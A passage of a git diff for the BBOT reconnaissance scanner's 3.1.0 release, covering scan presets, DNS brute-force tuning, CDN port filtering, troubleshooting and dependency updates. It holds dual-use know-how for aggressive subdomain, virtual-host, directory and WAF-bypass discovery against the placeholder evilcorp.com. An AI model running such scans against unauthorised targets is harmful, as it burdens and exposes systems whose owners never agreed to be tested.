web | Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI. | 1 | virtualhost | +| virtualhost-heavy | web | Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing. | 1 | virtualhost | +| waf-bypass | | WAF bypass detection with subdomain enumeration | 2 | http, waf_bypass | +| wayback | | Discover URLs and interesting archived files via the Wayback Machine | 1 | wayback | +| wayback-heavy | | Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection | 2 | badsecrets, wayback | +| web | | Quick web scan | 0 | | +| web-heavy | | Aggressive web scan | 0 | | +| web-screenshots | | Take screenshots of webpages | 0 | | +| webbrute | web | Basic web directory brute-force (surface-level directories only) | 1 | webbrute | +| webbrute-heavy | web | Recursive web directory brute-force (aggressive) | 3 | http, wayback, webbrute | diff --git a/docs/scanning/scan_sanity.md b/docs/scanning/scan_sanity.md index 46e5e1fffc..39bf992f8d 100644 --- a/docs/scanning/scan_sanity.md +++ b/docs/scanning/scan_sanity.md @@ -42,7 +42,7 @@ If you truly just want the "throw everything at it" experience, we do have a pre - **`scope.search_distance`** (default `0`) is the big one. It controls how many hops out from your target BBOT is allowed to explore. At `0`, modules only act on in-scope events. Raise it and a single certificate full of affiliate names pulls in those hosts, then *their* subdomains, then *their* infrastructure, and scope balloons outward hop by hop until there's no natural stopping point. The config comment says it outright: don't change this unless you know what you're doing. (This is *not* the same as `dns.search_distance`, which only governs DNS resolution and is safer to adjust.) - **`web.spider_distance`** / **`web.spider_depth`** (default `0` / `1`). A `spider_distance` of `0` means no spidering at all. Raise it and the crawler follows links from links from links, and every URL it turns up feeds webbrute and lightfuzz. On a large site that loop is effectively unbounded. -- **`dns.threads`** / **`dns.brute_threads`** (default `10` / `1000`) control DNS concurrency. Cranking them won't make your scan meaningfully faster (the real lever is adding more resolvers to `/etc/resolv.conf`); it'll just flood your nameservers and get you rate-limited. +- **`dns.threads`** / **`dns.max_concurrency`** / **`dns.brute_threads`** (default `50` / `256` / `1000`) control DNS concurrency. `dns.threads` is how many queries BBOT keeps in flight per resolver, and `dns.max_concurrency` caps the total across all resolvers. Adaptive pacing backs off when a resolver starts dropping queries, but not when it merely slows down, so if your resolver struggles, lower `dns.threads` rather than raising anything. - **`dns.runaway_limit`** (default `5`) and **`dns.wildcard_disable`** (default `false`) are guardrails. `runaway_limit` stops BBOT from chasing a malicious chain of DNS records forever, and wildcard detection is the only thing keeping a `*.example.com` wildcard from spawning infinite bogus subdomains. Turning either off removes a safety net that's there for a reason. ## Scan Target diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index 9bae563a51..747c5e5203 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -38,16 +38,20 @@ bbot -t evilcorp.com -m baddns -c modules.baddns.module_threads=20 ### Boost DNS Brute-force Speed -If you have a fast internet connection or are running BBOT from a cloud VM, you can speed up subdomain enumeration by cranking the threads for `massdns`. The default is `1000`, which is about 1MB/s of DNS traffic: +If you have a fast internet connection or are running BBOT from a cloud VM, you can speed up subdomain enumeration by raising how many brute-force queries stay in flight. The default is `1000`, which is roughly 1MB/s of DNS traffic: ```bash -# massdns with 5000 resolvers, about 5MB/s +# about 5MB/s bbot -t evilcorp.com -f subdomain-enum -c dns.brute_threads=5000 ``` +Brute-forcing backs off on its own when resolvers start dropping queries, so raising this sets how fast BBOT will go when the resolvers can keep up, not how hard it will push regardless. If you need a firm ceiling as well, set `dns.brute_rate_limit` (queries per second, `0` for unlimited). + +To be gentler on individual resolvers rather than faster, lower `dns.brute_inflight_per_resolver` (default `2`). No resolver ever receives more than this at once, however large the resolver list. + ### Speed Up Scans with More DNS Resolvers -By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS resolver (blastdns) spins up multiple threads per resolver (default: `10`, configurable via `dns.threads`), so more resolvers = more parallelism = faster scans. +One of the most effective ways to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS resolver (blastdns) keeps up to `dns.threads` queries in flight per resolver (default `50`), up to `dns.max_concurrency` in total (default `256`), so more resolvers = more parallelism = faster scans, until that total is reached. For OSINT, it's critical that every resolver is **unfiltered**. Specialized resolvers that try to block ads, malicious domains, etc. will intentionally omit results. Below is a sample `/etc/resolv.conf` with 11 unfiltered public resolvers: @@ -89,35 +93,44 @@ If you need custom settings, the spider is controlled with three config values: bbot -t www.evilcorp.com -m http -c web.spider_distance=3 web.spider_depth=5 ``` -### Exclude CDNs from Port Scan +### CDN/WAF Port Filtering + +CDNs and WAFs like Cloudflare answer on many ports (e.g. 2052-2096, 8080, 8443) for every host behind them. Port sources like `shodan_idb` and `portscan` report these as open, but they rarely lead anywhere useful, and probing them wastes a lot of time. By default, BBOT drops open ports and URLs on hosts tagged `cdn` or `waf` unless the port is 80 or 443. -Use `--exclude-cdn` to filter out unwanted open ports from CDNs and WAFs, e.g. Cloudflare. You can also customize the criteria by setting `modules.portfilter.cdn_tags`. By default, only open ports with `cdn-*` tags are filtered, but you can include all cloud providers by setting `cdn_tags` to `cdn,cloud`: +Ports you explicitly target are never filtered. For example, `-t www.evilcorp.com:8443` keeps that port and anything discovered on it, even if the host is behind a CDN. + +To turn the filter off and keep every port: ```bash -bbot -t evilcorp.com --exclude-cdn -c modules.portfilter.cdn_tags=cdn,cloud +bbot -t evilcorp.com --allow-cdn-ports ``` -Additionally, you can customize the allowed ports by setting `modules.portscan.allowed_cdn_ports`. +You can also customize which tags count as a CDN/WAF, and which ports are allowed on them: ```bash -bbot -t evilcorp.com --exclude-cdn -c modules.portfilter.allowed_cdn_ports=80,443,8443 +bbot -t evilcorp.com -c cdn_port_filter.tags=[cdn,waf,cloud] cdn_port_filter.allowed_ports=[80,443,8443] ``` Example preset: -```yaml title="skip_cdns.yml" -modules: - - portfilter - +```yaml title="cdn_ports.yml" config: - modules: - portfilter: - cdn_tags: cdn-,cloud- - allowed_cdn_ports: 80,443,8443 + cdn_port_filter: + # set to false to keep every port (same as --allow-cdn-ports) + enabled: true + # hosts with any of these tags are considered CDN/WAF hosts + tags: + - cdn + - waf + # ports that are still allowed on CDN/WAF hosts + allowed_ports: + - 80 + - 443 + - 8443 ``` ```bash -bbot -t evilcorp.com -p skip_cdns.yml +bbot -t evilcorp.com -p cdn_ports.yml ``` ### Custom HTTP Proxy diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index 2e620514bd..8d6546ab70 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -24,6 +24,47 @@ bbot --help ## `ModuleNotFoundError` If you run into a `ModuleNotFoundError`, try running your `bbot` command again with `--force-deps`. This will repair your modules' Python dependencies. +## Missing module commands or API key warnings +Some BBOT modules need an external command-line tool, an API key, or both. If a scan warns that a module is not installed, cannot import a dependency, or is missing an API key, use this quick checklist before filing an issue: + +```bash +# show the BBOT version and confirm the active executable +bbot --version +which bbot + +# inspect the module's options and requirements, including any api_key +bbot -mh +``` + +If the module requires an API key, put it in `secrets.yml` under the module's name: + +```yaml title="~/.config/bbot/secrets.yml" +modules: + shodan_dns: + api_key: "YOUR_API_KEY_HERE" +``` + +You can also keep the key out of that file and pass it for a single run: + +```bash +bbot -t example.com -m shodan_dns -c modules.shodan_dns.api_key=$SHODAN_API_KEY +``` + +After changing config, run a small scan with only the affected module so the error is easier to read. Dependencies install when a scan runs, so this is also what repairs them: + +```bash +bbot -t example.com -m --force-deps -v +``` + +For third-party command-line tools that BBOT does not install automatically, verify they are on your `PATH` from the same shell that runs BBOT: + +```bash +command -v + --version +``` + +If the command works in your terminal but BBOT still cannot find it, check that your shell startup files and service environment export the same `PATH`. + ## Clear BBOT Cache BBOT caches module data, wordlists, and other resources under `~/.bbot`. After an upgrade, stale cache files can sometimes cause unexpected errors. If you're seeing strange behavior after updating, try clearing it: diff --git a/mkdocs.yml b/mkdocs.yml index 2779d871b2..c48a8139c2 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -39,6 +39,7 @@ nav: - Lightfuzz: modules/lightfuzz.md - Webbrute: modules/webbrute.md - Migration: + - 3.0 → 3.1 Breaking Changes: migration/3.1_breaking_changes.md - 2.x → 3.0 Breaking Changes: migration/3.0_breaking_changes.md - Misc: - Contribution: contribution.md diff --git a/pyproject.toml b/pyproject.toml index 9a3eac6745..ca939fb273 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,10 +1,10 @@ [project] name = "bbot" -version = "3.0.2" +version = "3.1.0" description = "OSINT automation for hackers." readme = "README.md" license = "AGPL-3.0" -requires-python = ">=3.10,<3.15" +requires-python = ">=3.11,<3.16" authors = [ { name = "TheTechromancer" }, { name = "Paul Mueller" }, @@ -19,18 +19,13 @@ dependencies = [ "psutil>=5.9.4,<8.0.0", "wordninja>=2.0.0,<3", "ansible-runner>=2.3.2,<3", - "deepdiff>=8.0.0,<10", - "xmltojson>=2.0.2,<3", - "pycryptodome>=3.17,<4", + "xmltodict>=0.14,<2", + "pycryptodome>=3.17,<5", "idna>=3.4,<4", "tabulate==0.8.10", "websockets>=14.0.0,<17.0.0", - "pyjwt>=2.7.0,<3", "beautifulsoup4>=4.12.2,<5", - "lxml>=4.9.2,<7.0.0", - "dnspython>=2.7.0,<2.9.0", "cachetools>=5.3.2,<8.0.0", - "socksio>=1.0.0,<2", "jinja2>=3.1.3,<4", "regex>=2024.4.16,<2027.0.0", "unidecode>=1.3.8,<2", @@ -42,16 +37,18 @@ dependencies = [ "puremagic>=1.28,<2", "pydantic>=2.12.2,<3", "pyyaml>=6.0.0,<7", - "radixtarget>=4.0.1,<5", + "radixtarget>=4.3.0,<5", "asndb>=1.1.0", "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", - "cloudcheck>=11.1.0,<12", - "blasthttp>=0.10.0,<0.11", - "blastdns>=1.9.0,<2", + "cloudcheck>=11.2.0,<12", + "blasthttp>=0.10.1,<0.11", + "blastdns>=2.0.3,<2.1", "zstandard>=0.22,<1", "packaging>=23.0", + "requests>=2.32.0,<3", + "urllib3>=2.0.2,<3", ] [project.urls] @@ -66,36 +63,32 @@ bbot = "bbot.cli:main" [dependency-groups] dev = [ - "urllib3>=2.0.2,<3", "werkzeug>=2.3.4,<4.0.0", - "pytest-env>=0.8.2,<1.8.0", + "pytest-env>=0.8.2,<1.9.0", "pre-commit>=3.4,<5.0", "pytest-cov>=5,<8", "pytest-rerunfailures>=14,<17", "pytest-timeout>=2.3.1,<3", "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", - "pytest-asyncio==1.4.0", - "uvicorn>=0.32,<0.53", - "fastapi>=0.115.5,<0.142.0", - "pytest-httpx>=0.35", + "pytest-asyncio==1.4.1.post1", + "uvicorn>=0.32,<0.55", + "fastapi>=0.115.5,<0.163.0", "pytest-benchmark>=4,<6", "pytest-xdist>=3.6,<4", - "baddns~=2.4.1", - "ruff==0.16.2", - "maturin>=1.4,<2", + "baddns~=2.5.0", + "ruff==0.17.3", ] docs = [ "mkdocs>=1.5.2,<2", "mkdocs-extra-sass-plugin>=0.1.0,<1", "mkdocs-material>=9.2.5,<10", - "mkdocs-material-extensions>=1.1.1,<2", "mkdocstrings>=0.22,<1.1", "mkdocstrings-python>=2.0.0,<3", - "griffe>=1,<3", + # imported by mkdocs-extra-sass-plugin, which doesn't declare it "livereload>=2.6.3,<3", "mike>=2.1.3,<3", - "pymdown-extensions>=10.20.1,<12", + "pymdown-extensions>=10.20.1,<13", ] [build-system] @@ -134,3 +127,6 @@ force-exclude = true format.exclude = ["bbot/test/test_step_1/test_manager_*"] lint.select = ["E", "F"] lint.ignore = ["E402", "E711", "E713", "E721", "E741", "F403", "F405", "E501"] + +[tool.uv] +constraint-dependencies = ["virtualenv>=21.7.13"] diff --git a/uv.lock b/uv.lock index 20860d89d8..b30fd3582a 100644 --- a/uv.lock +++ b/uv.lock @@ -1,12 +1,16 @@ version = 1 -revision = 3 -requires-python = ">=3.10, <3.15" +revision = 5 +requires-python = ">=3.11, <3.16" resolution-markers = [ - "python_full_version >= '3.12'", - "python_full_version == '3.11.*'", - "python_full_version < '3.11'", + "python_full_version >= '3.13'", + "python_full_version == '3.12.*'", + "python_full_version >= '3.11.5' and python_full_version < '3.12'", + "python_full_version < '3.11.5'", ] +[manifest] +constraints = [{ name = "virtualenv", specifier = ">=21.7.13" }] + [[package]] name = "annotated-doc" version = "0.0.4" @@ -27,59 +31,60 @@ wheels = [ [[package]] name = "ansible-core" -version = "2.17.14" +version = "2.19.15" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - "python_full_version < '3.11'", + "python_full_version >= '3.11.5' and python_full_version < '3.12'", + "python_full_version < '3.11.5'", ] dependencies = [ - { name = "cryptography", marker = "python_full_version < '3.11'" }, - { name = "jinja2", marker = "python_full_version < '3.11'" }, - { name = "packaging", marker = "python_full_version < '3.11'" }, - { name = "pyyaml", marker = "python_full_version < '3.11'" }, - { name = "resolvelib", version = "1.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "cryptography" }, + { name = "jinja2" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "resolvelib" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ff/80/2925a0564f6f99a8002c3be3885b83c3a1dc5f57ebf00163f528889865f5/ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8", size = 3119687, upload-time = "2025-09-08T18:28:03.158Z" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/ed/919710271c8e4f6ecf0760f3994aee36be2668b29df0214a44ecdeb14075/ansible_core-2.19.15.tar.gz", hash = "sha256:05fa7f0730199b8e0dd9204f258075992143bd51dae71f68965b832a50d422fe", size = 3434021, upload-time = "2026-11-02T17:12:02.49Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/86/29/d694562f1a875b50aa74f691521fe493704f79cf1938cd58f28f7e2327d2/ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35", size = 2189656, upload-time = "2025-09-08T18:28:00.375Z" }, + { url = "https://files.pythonhosted.org/packages/21/2d/3ac042e1220d85aca4c8db87793131689abf12c7ac7a5b8ee44418e03baf/ansible_core-2.19.15-py3-none-any.whl", hash = "sha256:076385c72c2a9f721b9f293e9c3cfac8106d7e130d17aadce6952634db50ffff", size = 2427065, upload-time = "2026-11-02T17:12:00.252Z" }, ] [[package]] name = "ansible-core" -version = "2.19.6" +version = "2.21.6" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - "python_full_version == '3.11.*'", + "python_full_version == '3.12.*'", ] dependencies = [ - { name = "cryptography", marker = "python_full_version == '3.11.*'" }, - { name = "jinja2", marker = "python_full_version == '3.11.*'" }, - { name = "packaging", marker = "python_full_version == '3.11.*'" }, - { name = "pyyaml", marker = "python_full_version == '3.11.*'" }, - { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, + { name = "cryptography" }, + { name = "jinja2" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "resolvelib" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/8b/98/ca1135c50aa3004367ff1f66c101a565ac17b4bfa1c9f9a2d8e395e06775/ansible_core-2.19.6.tar.gz", hash = "sha256:1e6b711e357901422592a1d1e4a076eee918497587646a5843fa61536ede1990", size = 3414480, upload-time = "2026-01-29T19:24:10.09Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ed/9f/c3f578633cd374db6ed981f8abc401885819e94e3d6a8548a1bd0095c575/ansible_core-2.21.6.tar.gz", hash = "sha256:3fa05b4b1af69f2fa19b49dde8edd5a23e693c2c1c3bda2d85fce73bd6cfc36d", size = 3399162, upload-time = "2026-11-02T17:33:27.104Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7c/2e/5127c0321b7fad3e636a3b2343e711b64bdb77f25a6de0d579268f8b77cc/ansible_core-2.19.6-py3-none-any.whl", hash = "sha256:a29c5df4b46cc3f4123e5aac15f3626b925841b9844fa88d3890a0c45a9a4469", size = 2415790, upload-time = "2026-01-29T19:24:07.595Z" }, + { url = "https://files.pythonhosted.org/packages/20/5a/9e6cc7686b40bec066211200b6c393a7a333dfcfa91aa67a07c031df87c8/ansible_core-2.21.6-py3-none-any.whl", hash = "sha256:c1fc3cbe821176ba4227b1cae8c748e1d28d42dde605e807d23c58f71b6d1a74", size = 2457874, upload-time = "2026-11-02T17:33:24.88Z" }, ] [[package]] name = "ansible-core" -version = "2.20.2" +version = "2.22.0" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - "python_full_version >= '3.12'", + "python_full_version >= '3.13'", ] dependencies = [ - { name = "cryptography", marker = "python_full_version >= '3.12'" }, - { name = "jinja2", marker = "python_full_version >= '3.12'" }, - { name = "packaging", marker = "python_full_version >= '3.12'" }, - { name = "pyyaml", marker = "python_full_version >= '3.12'" }, - { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, + { name = "cryptography" }, + { name = "jinja2" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "resolvelib" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/22/56/a76adc20dee854b52a3e20fcb9c01280bbac52ef54308e5b1c7bc67ade76/ansible_core-2.20.2.tar.gz", hash = "sha256:75e19a3ad8cf659579ea182cdf948ee0900d700e564802e92876de53dbd9715d", size = 3317427, upload-time = "2026-01-29T19:25:04.814Z" } +sdist = { url = "https://files.pythonhosted.org/packages/9d/9c/320090b2f1542122259cd759d5148678fd98945913837ee05718920f73ea/ansible_core-2.22.0.tar.gz", hash = "sha256:bf50b4a0cfa985e30585c7ba301897ea7050d224ca49d2816cab10e33a160e1c", size = 3476434, upload-time = "2026-11-02T17:35:11.837Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d9/89/9d0d5ce1e63e57d59ae1c873a2c2b08ab104bd3bea365db46c3140371271/ansible_core-2.20.2-py3-none-any.whl", hash = "sha256:1bbd101e3e3b1ace91d8be123007050f7efd94c4c78bbeb9e45ad1c7016d08ef", size = 2412886, upload-time = "2026-01-29T19:25:03.04Z" }, + { url = "https://files.pythonhosted.org/packages/87/98/3dc2d37181dc6a4b39d7badffaa0ef6e95be638d618372a11c316a2f8983/ansible_core-2.22.0-py3-none-any.whl", hash = "sha256:8285d4cc81c3e3eb2d954e75531724fe0ae154d228475638123451f034a74657", size = 2488530, upload-time = "2026-11-02T17:35:09.491Z" }, ] [[package]] @@ -99,16 +104,15 @@ wheels = [ [[package]] name = "anyio" -version = "4.12.1" +version = "4.15.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, { name = "idna" }, - { name = "typing-extensions", marker = "python_full_version < '3.13'" }, + { name = "typing-extensions", marker = "python_full_version < '3.15'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a9/d2/f4d173e22df740bc37b1db102b386ba719b66e95b0f0d751f556b387e6d2/anyio-4.15.1.tar.gz", hash = "sha256:9f28306018cbd6d329e64a36d58256edff76dd996fe423bc957326e578b82a94", size = 276966, upload-time = "2026-09-05T10:42:39.44Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, + { url = "https://files.pythonhosted.org/packages/12/b8/4bd346e22b28902df4d651910f5242c28d84e4a5c2435ca5c3f797ed7e2e/anyio-4.15.1-py3-none-any.whl", hash = "sha256:6152fdbbf9a77fdec97731721bebf7c4c44f7c29b424b0065826173efc7ed101", size = 132079, upload-time = "2026-09-05T10:42:37.923Z" }, ] [[package]] @@ -135,15 +139,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/77/f5/21d2de20e8b8b0408f0681956ca2c69f1320a3848ac50e6e7f39c6159675/babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35", size = 10196845, upload-time = "2026-02-01T12:30:53.445Z" }, ] -[[package]] -name = "backports-asyncio-runner" -version = "1.2.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, -] - [[package]] name = "backrefs" version = "6.1" @@ -160,7 +155,7 @@ wheels = [ [[package]] name = "baddns" -version = "2.4.1" +version = "2.5.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "blastdns" }, @@ -172,20 +167,21 @@ dependencies = [ { name = "python-whois" }, { name = "pyyaml" }, { name = "tldextract" }, + { name = "yara-python" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/1d/91/62cef471fba0201e38d1d3cca0170ca0dd25c5417c7f2f2b495dc3903b3e/baddns-2.4.1.tar.gz", hash = "sha256:022e66a7d04ccbf239ba0a012c505dcc8d4246d240817c16802d1c833f1765fa", size = 62730, upload-time = "2026-06-17T23:12:10.841Z" } +sdist = { url = "https://files.pythonhosted.org/packages/07/38/2adf163056db50f943a838fb3602463762fc523d3f6a9147fd0a2bea631f/baddns-2.5.0.tar.gz", hash = "sha256:8f2f87dc2be54a5a74aea350cf4b079fcafbe31b811951ac940952ad29c2e96a", size = 80403, upload-time = "2026-10-09T15:27:29.881Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/8c/d1/f7cc99fbf5146becdefc01b68917f4de8b5d32b355fe8be42e4ae12e5538/baddns-2.4.1-py3-none-any.whl", hash = "sha256:bda752ecdb31fe27c753516ab476f0371d128fe5c7f1c8a677ba49ad9348d8e3", size = 121104, upload-time = "2026-06-17T23:12:09.661Z" }, + { url = "https://files.pythonhosted.org/packages/16/5a/1e0479d06fcb17e8310383b58be8c4aad5e17f8d781b9ed785b70b6eed3f/baddns-2.5.0-py3-none-any.whl", hash = "sha256:b8d6d04f75cb47cf261c21708ea41ec89111b447844e458337604a702b717b5a", size = 134089, upload-time = "2026-10-09T15:27:28.823Z" }, ] [[package]] name = "bbot" -version = "3.0.2" +version = "3.1.0" source = { editable = "." } dependencies = [ - { name = "ansible-core", version = "2.17.14", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, - { name = "ansible-core", version = "2.19.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, - { name = "ansible-core", version = "2.20.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, + { name = "ansible-core", version = "2.19.15", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" }, + { name = "ansible-core", version = "2.21.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.12.*'" }, + { name = "ansible-core", version = "2.22.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.13'" }, { name = "ansible-runner" }, { name = "asndb" }, { name = "beautifulsoup4" }, @@ -193,11 +189,8 @@ dependencies = [ { name = "blasthttp" }, { name = "cachetools" }, { name = "cloudcheck" }, - { name = "deepdiff" }, - { name = "dnspython" }, { name = "idna" }, { name = "jinja2" }, - { name = "lxml" }, { name = "mmh3" }, { name = "orjson" }, { name = "packaging" }, @@ -206,19 +199,19 @@ dependencies = [ { name = "puremagic" }, { name = "pycryptodome" }, { name = "pydantic" }, - { name = "pyjwt" }, { name = "pyyaml" }, { name = "pyzmq" }, { name = "radixtarget" }, { name = "regex" }, + { name = "requests" }, { name = "setproctitle" }, - { name = "socksio" }, { name = "tabulate" }, { name = "tldextract" }, { name = "unidecode" }, + { name = "urllib3" }, { name = "websockets" }, { name = "wordninja" }, - { name = "xmltojson" }, + { name = "xmltodict" }, { name = "xxhash" }, { name = "yara-python" }, { name = "zstandard" }, @@ -228,7 +221,6 @@ dependencies = [ dev = [ { name = "baddns" }, { name = "fastapi" }, - { name = "maturin" }, { name = "pre-commit" }, { name = "pytest" }, { name = "pytest-asyncio" }, @@ -236,23 +228,19 @@ dev = [ { name = "pytest-cov" }, { name = "pytest-env" }, { name = "pytest-httpserver" }, - { name = "pytest-httpx" }, { name = "pytest-rerunfailures" }, { name = "pytest-timeout" }, { name = "pytest-xdist" }, { name = "ruff" }, - { name = "urllib3" }, { name = "uvicorn" }, { name = "werkzeug" }, ] docs = [ - { name = "griffe" }, { name = "livereload" }, { name = "mike" }, { name = "mkdocs" }, { name = "mkdocs-extra-sass-plugin" }, { name = "mkdocs-material" }, - { name = "mkdocs-material-extensions" }, { name = "mkdocstrings" }, { name = "mkdocstrings-python" }, { name = "pymdown-extensions" }, @@ -264,36 +252,33 @@ requires-dist = [ { name = "ansible-runner", specifier = ">=2.3.2,<3" }, { name = "asndb", specifier = ">=1.1.0" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, - { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.10.0,<0.11" }, + { name = "blastdns", specifier = ">=2.0.3,<2.1" }, + { name = "blasthttp", specifier = ">=0.10.1,<0.11" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, - { name = "cloudcheck", specifier = ">=11.1.0,<12" }, - { name = "deepdiff", specifier = ">=8.0.0,<10" }, - { name = "dnspython", specifier = ">=2.7.0,<2.9.0" }, + { name = "cloudcheck", specifier = ">=11.2.0,<12" }, { name = "idna", specifier = ">=3.4,<4" }, { name = "jinja2", specifier = ">=3.1.3,<4" }, - { name = "lxml", specifier = ">=4.9.2,<7.0.0" }, { name = "mmh3", specifier = ">=4.1,<6.0" }, { name = "orjson", specifier = ">=3.10.12,<4" }, { name = "packaging", specifier = ">=23.0" }, { name = "pip" }, { name = "psutil", specifier = ">=5.9.4,<8.0.0" }, { name = "puremagic", specifier = ">=1.28,<2" }, - { name = "pycryptodome", specifier = ">=3.17,<4" }, + { name = "pycryptodome", specifier = ">=3.17,<5" }, { name = "pydantic", specifier = ">=2.12.2,<3" }, - { name = "pyjwt", specifier = ">=2.7.0,<3" }, { name = "pyyaml", specifier = ">=6.0.0,<7" }, { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, - { name = "radixtarget", specifier = ">=4.0.1,<5" }, + { name = "radixtarget", specifier = ">=4.3.0,<5" }, { name = "regex", specifier = ">=2024.4.16,<2027.0.0" }, + { name = "requests", specifier = ">=2.32.0,<3" }, { name = "setproctitle", specifier = ">=1.3.3,<2" }, - { name = "socksio", specifier = ">=1.0.0,<2" }, { name = "tabulate", specifier = "==0.8.10" }, { name = "tldextract", specifier = ">=5.3.0,<6" }, { name = "unidecode", specifier = ">=1.3.8,<2" }, + { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "websockets", specifier = ">=14.0.0,<17.0.0" }, { name = "wordninja", specifier = ">=2.0.0,<3" }, - { name = "xmltojson", specifier = ">=2.0.2,<3" }, + { name = "xmltodict", specifier = ">=0.14,<2" }, { name = "xxhash", specifier = ">=3.5.0,<5" }, { name = "yara-python", specifier = ">=4.5.4,<5" }, { name = "zstandard", specifier = ">=0.22,<1" }, @@ -301,36 +286,31 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ - { name = "baddns", specifier = "~=2.4.1" }, - { name = "fastapi", specifier = ">=0.115.5,<0.142.0" }, - { name = "maturin", specifier = ">=1.4,<2" }, + { name = "baddns", specifier = "~=2.5.0" }, + { name = "fastapi", specifier = ">=0.115.5,<0.163.0" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<10" }, - { name = "pytest-asyncio", specifier = "==1.4.0" }, + { name = "pytest-asyncio", specifier = "==1.4.1.post1" }, { name = "pytest-benchmark", specifier = ">=4,<6" }, { name = "pytest-cov", specifier = ">=5,<8" }, - { name = "pytest-env", specifier = ">=0.8.2,<1.8.0" }, + { name = "pytest-env", specifier = ">=0.8.2,<1.9.0" }, { name = "pytest-httpserver", specifier = ">=1.0.11,<2" }, - { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "pytest-xdist", specifier = ">=3.6,<4" }, - { name = "ruff", specifier = "==0.16.2" }, - { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.53" }, + { name = "ruff", specifier = "==0.17.3" }, + { name = "uvicorn", specifier = ">=0.32,<0.55" }, { name = "werkzeug", specifier = 